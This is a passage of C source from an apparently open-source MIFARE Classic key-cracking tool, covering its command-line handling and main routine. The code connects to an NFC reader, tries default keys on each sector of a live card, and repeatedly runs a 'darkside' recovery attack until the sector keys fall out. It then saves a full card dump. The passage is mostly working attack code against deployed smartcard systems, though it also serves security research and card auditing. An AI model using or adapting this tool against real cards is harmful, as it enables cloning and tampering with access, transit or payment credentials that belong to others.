  1086. // TODO: what if the multi-sect authentication comes not directly after the first successful plain authentication, i.e. several read/write/incr/decr command occur first then multi-sect auth?! how does this affects the crypto stream/state, what should we do? need to simulate with a nfc-multisect-auth program which has tests with interleaved multi-sect authentications
  1087. pm3_revstate_multisect_auth = lfsr_recovery64(pm3_ks2, pm3_ks3);
  1088. for (i = 0; i < 4; i++) {
  1089. uint8_t multisect_auth_byte = (pm3_log_multisect_auth >> (8 * (3 - i))) & 0xFF;
  1090. pm3_log_multisect_decrypted[i] = crypto1_byte(pm3_revstate_multisect_auth, 0x00, 0) ^ multisect_auth_byte;
  1091. pm3_log_multisect_verified[i] = pm3_log_multisect_decrypted[i];
  1092. }
  1093. // TODO: This "<= MIFARE_CLASSIC_4K_MAX_BLOCKS" should be properly checked against either MIFARE_CLASSIC_1K_MAX_BLOCKS or MIFARE_CLASSIC_4K_MAX_BLOCKS (depending on card type detected)
  1094. if ((pm3_log_multisect_decrypted[0] == MC_AUTH_A) || (pm3_log_multisect_decrypted[0] == MC_AUTH_B)) {
  1095. iso14443a_crc_append(pm3_log_multisect_verified, 2);
  1096. int multisect_auth_verified = 1;
  1097. for (i = 0; i < 4; i++) {
  1098. if (pm3_log_multisect_verified[i] != pm3_log_multisect_decrypted[i]) {
  1099. multisect_auth_verified = 0;
  1100. break;
  1101. }
  1102. }
  1103. printf("proxmark3 log multi-sect auth detected: %02X %02X %02X %02X (parity crc %s)\n", pm3_log_multisect_decrypted[0], pm3_log_multisect_decrypted[1], pm3_log_multisect_decrypted[2], pm3_log_multisect_decrypted[3], multisect_auth_verified ? "ok" : "NOK");
  1104. }
  1105. crypto1_destroy(pm3_revstate_multisect_auth);
  1106. }
  1107. }
  1108. }
  1109. break;
  1110. case 'p':
  1111. /*
  1112. if (mfcuk_pm3_parse_log(optarg, pm3_full_set))
  1113. {
  1114. mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr);
  1115. }
  1116. else
  1117. {
  1118. }
  1119. */
  1120. printf("NOT IMPLEMENTED YET...\n");
  1121. break;
  1122. case 'F':
  1123. if (!mfcuk_load_tag_dump(optarg, &(finger_tag))) {
  1124. WARN("Unable to load tag dump from '%s'", optarg);
  1125. } else {
  1126. finger_score_highest = -1.0f;
  1127. finger_index_highest = -1;
  1128. for (i = 0; i < mfcuk_finger_db_entries; i++) {
  1129. finger_score = -1.0f;
  1130. mfcuk_finger_db[i].tmpl_comparison_func(&(finger_tag), mfcuk_finger_db[i].tmpl_data, &finger_score);
  1131. if (finger_score > finger_score_highest) {
  1132. finger_score_highest = finger_score;
  1133. finger_index_highest = i;
  1134. }
  1135. }
  1136. if (finger_index_highest > -1) {
  1137. printf("Tag '%s' matches '%s' with highest score %f\n", optarg, mfcuk_finger_db[finger_index_highest].tmpl_name, finger_score_highest);
  1138. mfcuk_finger_db[finger_index_highest].tmpl_decoder_func(&(finger_tag));
  1139. } else {
  1140. printf("No template found to match tag '%s'\n", optarg);
  1141. }
  1142. }
  1143. break;
  1144. case 'h':
  1145. // Help screen
  1146. print_usage(stdout, argv[0]);
  1147. return EXIT_SUCCESS;
  1148. break;
  1149. case '?':
  1150. default:
  1151. // Help screen, on error output
  1152. ERR("Unknown option %c\n", ch);
  1153. print_usage(stderr, argv[0]);
  1154. return EXIT_FAILURE;
  1155. break;
  1156. }
  1157. }
  1158. // Unload fingerprinting
  1159. mfcuk_finger_unload();
  1160. // If tests were requested, exit after tests completed
  1161. if (bfOpts['t'] || bfOpts['T']) {
  1162. return EXIT_SUCCESS;
  1163. }
  1164. // In case default keys requested (and maybe more specified on command line),
  1165. // print the default keys which will be used
  1166. if (bfOpts['D']) {
  1167. if (bfOpts['v'] && (verboseLevel > 0)) {
  1168. printf("DEFAULT KEYS:\n");
  1169. // Skip the key at index 0, since it is initially 0x0 and is reserved for the loaded dump key
  1170. for (i = 1; i < numDefKeys; i++) {
  1171. printf("\t");
  1172. print_hex(current_default_keys[i], MIFARE_CLASSIC_KEY_BYTELENGTH);
  1173. }
  1174. }
  1175. }
  1176. if (bfOpts['i'] || bfOpts['I']) {
  1177. if (bfOpts['v'] && (verboseLevel > 0)) {
  1178. print_mifare_classic_tag_keys("LOADED TAG DUMP", &(dump_loaded_tag.tag_basic));
  1179. }
  1180. // Overwrite from the loaded dump only the keys for sectors and keys which were not specified on command line
  1181. for (i = 0; i < MIFARE_CLASSIC_4K_MAX_SECTORS; i++) {
  1182. // TODO: proper error handling for block and ptr_trailer
  1183. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  1184. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1185. ptr_trailer_dump = (mifare_classic_block_trailer *)((char *)(&dump_loaded_tag.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1186. // If no command line keyA is set, copy from loaded dump
  1187. if (!(ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_KEYSET)) {
  1188. memcpy(&(ptr_trailer->abtKeyA[0]), &(ptr_trailer_dump->abtKeyA[0]), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1189. // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD
  1190. }
  1191. // If no command line keyB is set, copy from loaded dump
  1192. if (!(ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_KEYSET)) {
  1193. memcpy(&(ptr_trailer->abtKeyB[0]), &(ptr_trailer_dump->abtKeyB[0]), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1194. // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD
  1195. }
  1196. }
  1197. // If no command line UID supplied and not tag-type specified, copy the manufacturer block from the loaded dump
  1198. if (!bfOpts['U'] && !bfOpts['M']) {
  1199. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1200. ptr_trailer_dump = (mifare_classic_block_trailer *)((char *)(&dump_loaded_tag.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1201. memcpy(ptr_trailer, ptr_trailer_dump, sizeof(*ptr_trailer));
  1202. tag_recover_verify.type = tag_recover_verify.tag_basic.amb[0].mbm.btUnknown;
  1203. tag_recover_verify.uid = bswap_32_pu8(tag_recover_verify.tag_basic.amb[0].mbm.abtUID);
  1204. }
  1205. }
  1206. if (!bfOpts['C']) {
  1207. printf("No connection to reader requested (need option -C). Exiting...\n");
  1208. return EXIT_SUCCESS;
  1209. }
  1210. // READER INITIALIZATION BLOCK
  1211. // Try to open the NFC reader
  1212. nfc_init(&context);
  1213. pnd = nfc_open(context, NULL);
  1214. if (pnd == NULL) {
  1215. ERR("connecting to NFC reader");
  1216. goto error;
  1217. }
  1218. if (0 > nfc_initiator_init(pnd)) {
  1219. ERR("initializing NFC reader: %s", nfc_device_get_name(pnd));
  1220. goto error;
  1221. }
  1222. printf("\nINFO: Connected to NFC reader: %s\n\n", nfc_device_get_name(pnd));
  1223. // Select tag and get tag info
  1224. if (!mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti.nti)) {
  1225. ERR("selecting tag on the reader %s", nfc_device_get_name(pnd));
  1226. goto error;
  1227. }
  1228. mfcuk_darkside_reset_advanced(pnd);
  1229. // Tag on the reader type
  1230. tag_on_reader.type = ti.nti.nai.btSak;
  1231. tag_on_reader.tag_basic.amb[0].mbm.btUnknown = ti.nti.nai.btSak;
  1232. // No command line tag type specified, take it from the tag on the reader
  1233. if (!bfOpts['M']) {
  1234. tag_recover_verify.type = ti.nti.nai.btSak;
  1235. tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = ti.nti.nai.btSak;
  1236. }
  1237. // Tag on the reader UID
  1238. tag_on_reader.uid = bswap_32_pu8(ti.nti.nai.abtUid);
  1239. memcpy(tag_on_reader.tag_basic.amb[0].mbm.abtUID, ti.nti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH);
  1240. // No command line tag UID specified, take it from the tag on the reader
  1241. if (!bfOpts['U']) {
  1242. tag_recover_verify.uid = bswap_32_pu8(ti.nti.nai.abtUid);
  1243. memcpy(tag_recover_verify.tag_basic.amb[0].mbm.abtUID, ti.nti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH);
  1244. }
  1245. if (bfOpts['v'] && (verboseLevel > 0)) {
  1246. print_mifare_classic_tag_actions("\n\nINITIAL ACTIONS MATRIX", &(tag_recover_verify.tag_basic));
  1247. }
  1248. max_sectors = (IS_MIFARE_CLASSIC_1K(tag_recover_verify.type) ? MIFARE_CLASSIC_1K_MAX_SECTORS : MIFARE_CLASSIC_4K_MAX_SECTORS);
  1249. // VERIFY KEYS CODE-BLOCK
  1250. printf("\nVERIFY: ");
  1251. for (k = keyA; k <= keyB; k++) {
  1252. // Print key-type for which we are looping the sectors for verification
  1253. printf("\n\tKey %c sectors:", 'B' - (keyB - k));
  1254. for (i = 0; i < max_sectors; i++) {
  1255. uint64_t crntVerifKey = 0;
  1256. uint8_t crntVerifTagType = tag_recover_verify.type;
  1257. int crntNumVerifKeys = (bfOpts['D']) ? (numDefKeys) : (1);
  1258. mifare_param mp;
  1259. // Depending on which of keyA or keyB the j value is, the checks and actions below will address exactly that keyA or keyB of current sector
  1260. uint8_t action_byte = ACTIONS_KEY_A + 2 * (1 - (keyB - k));
  1261. uint8_t result_byte = RESULTS_KEY_A + 2 * (1 - (keyB - k));
  1262. printf(" %x", i);
  1263. fflush(stdout);
  1264. // TODO: proper error handling
  1265. block = get_trailer_block_for_sector(crntVerifTagType, i);
  1266. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1267. // If DEFAULT KEYS option was specified, crntNumVerifKeys is already taking care of them
  1268. // Also, perform verification ontly if the sector has been marked for verification of key and not valid verification yet occured in the loop
  1269. for (j = 0; (j < crntNumVerifKeys) && (ptr_trailer->abtAccessBits[action_byte] & ACTIONS_VERIFY) && !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY); j++) {
  1270. // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs
  1271. mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic));
  1272. // The first spot in the current_default_keys, is reserved to the key from the loaded dump or from command line
  1273. // If not present (dump or command line), the key of this key-type k for current sector i will be 000000000000
  1274. if (j == 0) {
  1275. memcpy(&(current_default_keys[0][0]), (k == keyA) ? (&(ptr_trailer->abtKeyA[0])) : ((&(ptr_trailer->abtKeyB[0]))), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1276. }
  1277. if (!mfcuk_key_arr_to_uint64(&(current_default_keys[j][0]), &crntVerifKey)) {
  1278. WARN("mfcuk_key_arr_to_uint64() failed, verification key will be %012"PRIx64"", crntVerifKey);
  1279. }
  1280. /*
  1281. // TODO: make this kind of key verification as part of option -a - advanced verification of keys with crapto1 rollback for double verification
  1282. // TEST
  1283. nfc_disconnect(pnd);
  1284. // Try to open the NFC reader
  1285. pnd = nfc_connect(NULL);
  1286. if (pnd == NULL)
  1287. {
  1288. ERR("connecting to NFC reader");
  1289. return 1;
  1290. }
  1291. if ( 0 > nfc_initiator_init(pnd) )
  1292. {
  1293. ERR("initializing NFC reader: %s", nfc_device_get_name(pnd));
  1294. nfc_disconnect(pnd);
  1295. return 1;
  1296. }
  1297. // TEST
  1298. uiErrCode = mfcuk_verify_key_block(pnd, crntVerifUID, crntVerifKey, k, crntVerifTagType, block);
  1299. if ( uiErrCode == MFCUK_SUCCESS )
  1300. {
  1301. // Mark current key-type as verified
  1302. ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY;
  1303. // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched
  1304. memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH);
  1305. }
  1306. else
  1307. {
  1308. ERR("AUTH sector %d, block %d, key %012"PRIx64", key-type 0x%02x, error code 0x%02x", i, block, crntVerifKey, k, uiErrCode);
  1309. }
  1310. // Reset advanced settings
  1311. mfcuk_darkside_reset_advanced(pnd);
  1312. */
  1313. memcpy(mp.mpa.abtAuthUid, tag_recover_verify.tag_basic.amb[0].mbm.abtUID, MIFARE_CLASSIC_UID_BYTELENGTH);
  1314. memcpy(mp.mpa.abtKey, &(current_default_keys[j][0]), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1315. if (0 >= nfc_initiator_select_passive_target(pnd, nmMifare, NULL, 0, &ti)) {
  1316. ERR("tag was removed or cannot be selected");
  1317. }
  1318. if (0 > nfc_initiator_mifare_cmd(pnd, k, block, &mp)) {
  1319. ERR("AUTH sector %d, block %d, key %012"PRIx64", key-type 0x%02x, error code 0x%02x", i, block, crntVerifKey, k, uiErrCode);
  1320. } else {
  1321. // Mark current key-type as verified
  1322. ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY;
  1323. // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched
  1324. memcpy((k == keyA) ? (ptr_trailer->abtKeyA) : (ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH);
  1325. }
  1326. } // for (j = 0; (j < crntNumVerifKeys); j++)
  1327. } // for (i=0; i<max_sectors; i++)
  1328. } // for (k = keyA; k <= keyB; k++)
  1329. printf("\n");
  1330. if (bfOpts['v'] && (verboseLevel > 0)) {
  1331. print_mifare_classic_tag_actions("\n\nACTION RESULTS MATRIX AFTER VERIFY", &(tag_recover_verify.tag_basic));
  1332. }
  1333. // RECOVER KEYS CODE-BLOCK
  1334. printf("\nRECOVER: ");
  1335. for (i = 0; i < max_sectors; i++) {
  1336. uint64_t crntRecovKey = 0;
  1337. ui64KeyRecovered = 0;
  1338. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  1339. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1340. printf(" %x", i);
  1341. fflush(stdout);
  1342. for (j = keyA; j <= keyB; j++) {
  1343. // Depending on which of keyA or keyB the j value is, the checks and actions below will address exactly that keyA or keyB of current sector
  1344. uint8_t action_byte = ACTIONS_KEY_A + 2 * (1 - (keyB - j));
  1345. uint8_t result_byte = RESULTS_KEY_A + 2 * (1 - (keyB - j));
  1346. // We have a sector and a key-type of that sector marked for recovery and still the key was not either verified nor recovered
  1347. if ((ptr_trailer->abtAccessBits[action_byte] & ACTIONS_RECOVER) &&
  1348. !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY) &&
  1349. !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_RECOVER)
  1350. ) {
  1351. // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs
  1352. mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic));
  1353. // TEST
  1354. // Before starting a new recovery session, disconnect and reconnect to reader and then tag
  1355. nfc_close(pnd);
  1356. // Try to open the NFC reader
  1357. pnd = nfc_open(context, NULL);
  1358. if (pnd == NULL) {
  1359. ERR("connecting to NFC reader");
  1360. return EXIT_FAILURE;
  1361. }
  1362. if (0 > nfc_initiator_init(pnd)) {
  1363. ERR("initializing NFC reader: %s", nfc_device_get_name(pnd));
  1364. goto error;
  1365. }
  1366. // TEST
  1367. // Every new recovery session needs this "sort-of" initializing the entries
  1368. memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries));
  1369. numSpoofEntries = 0;
  1370. numAuthAttempts = 0;
  1371. // Recovery loop for current key-type of current sector
  1372. do {
  1373. mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti.nti);
  1374. // Print usefull/useless info (sort-of "Let me entertain you!")
  1375. log_progress(tag_recover_verify.uid, tag_recover_verify.type,
  1376. crntRecovKey, block, numSpoofEntries, numAuthAttempts);
  1377. if (bfOpts['v'] && (verboseLevel > 3)) {
  1378. printf("\n-----------------------------------------------------\n");
  1379. printf("Let me entertain you!\n");
  1380. printf(" uid: %08x\n", tag_recover_verify.uid);
  1381. printf(" type: %02x\n", tag_recover_verify.type);
  1382. printf(" key: %012"PRIx64"\n", crntRecovKey);
  1383. printf(" block: %02x\n", block);
  1384. printf("diff Nt: %d\n", numSpoofEntries);
  1385. printf(" auths: %d\n", numAuthAttempts);
  1386. printf("-----------------------------------------------------\n");
  1387. }
  1388. uiErrCode = mfcuk_key_recovery_block(pnd, tag_recover_verify.uid, crntRecovKey, j, tag_recover_verify.type, block, &ui64KeyRecovered);
  1389. if (uiErrCode != MFCUK_OK_KEY_RECOVERED && uiErrCode != MFCUK_SUCCESS && uiErrCode != MFCUK_FAIL_AUTH) {
  1390. ERR("mfcuk_key_recovery_block() (error code=0x%02x)", uiErrCode);
  1391. }
  1392. mfcuk_darkside_reset_advanced(pnd);
  1393. numAuthAttempts++;
  1394. } while (uiErrCode != MFCUK_OK_KEY_RECOVERED);
  1395. // Store the recovered key A and mark key A for this sector as recovered in results
  1396. ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_RECOVER;
  1397. if (!mfcuk_key_uint64_to_arr(&ui64KeyRecovered, (j == keyA) ? (&(ptr_trailer->abtKeyA[0])) : (&(ptr_trailer->abtKeyB[0])))) {
  1398. WARN("mfcuk_key_uint64_to_arr() failed, recovered key should have been %012"PRIx64"", ui64KeyRecovered);
  1399. }
  1400. }
  1401. } // for (j=keyA; j<=keyB; j++)
  1402. }
  1403. printf("\n");
  1404. if (bfOpts['v'] && (verboseLevel > 0)) {
  1405. print_mifare_classic_tag_actions("\n\nACTION RESULTS MATRIX AFTER RECOVER", &(tag_recover_verify.tag_basic));
  1406. }
  1407. // DUMP DATA CODE-BLOCK
  1408. // TODO: write this code-block
  1409. /*
  1410. for (i=0; i<max_sectors; i++)
  1411. {
  1412. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  1413. ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) );
  1414. //nfc_initiator_mifare_cmd()
  1415. }
  1416. */
  1417. // Clean up and release device
  1418. nfc_close(pnd);
  1419. nfc_exit(context);
  1420. // TODO: think which tag to output and make sure it contains all the retreived data
  1421. // TODO: make this as a function and call it after each key is verified or recovered (because of reader-locking bug)
  1422. if (bfOpts['o']) {
  1423. if (!mfcuk_save_tag_dump(strOutputFilename, &(tag_recover_verify.tag_basic))) {
  1424. ERR("could not save tag dump to '%s'", strOutputFilename);
  1425. } else {
  1426. if (bfOpts['v'] && (verboseLevel > 1)) {
  1427. printf("INFO: saved tag dump file to '%s'\n", strOutputFilename);
  1428. }
  1429. }
  1430. } else if (bfOpts['O']) {
  1431. if (!mfcuk_save_tag_dump_ext(strOutputFilename, &(tag_recover_verify))) {
  1432. ERR("could not save extended tag dump to '%s'", strOutputFilename);
  1433. } else {
  1434. if (bfOpts['v'] && (verboseLevel > 1)) {
  1435. printf("INFO: saved extended tag dump file to '%s'\n", strOutputFilename);
  1436. }
  1437. }
  1438. }
  1439. return EXIT_SUCCESS;
  1440. error:
  1441. nfc_close(pnd);
  1442. nfc_exit(context);
  1443. return EXIT_FAILURE;
  1444. }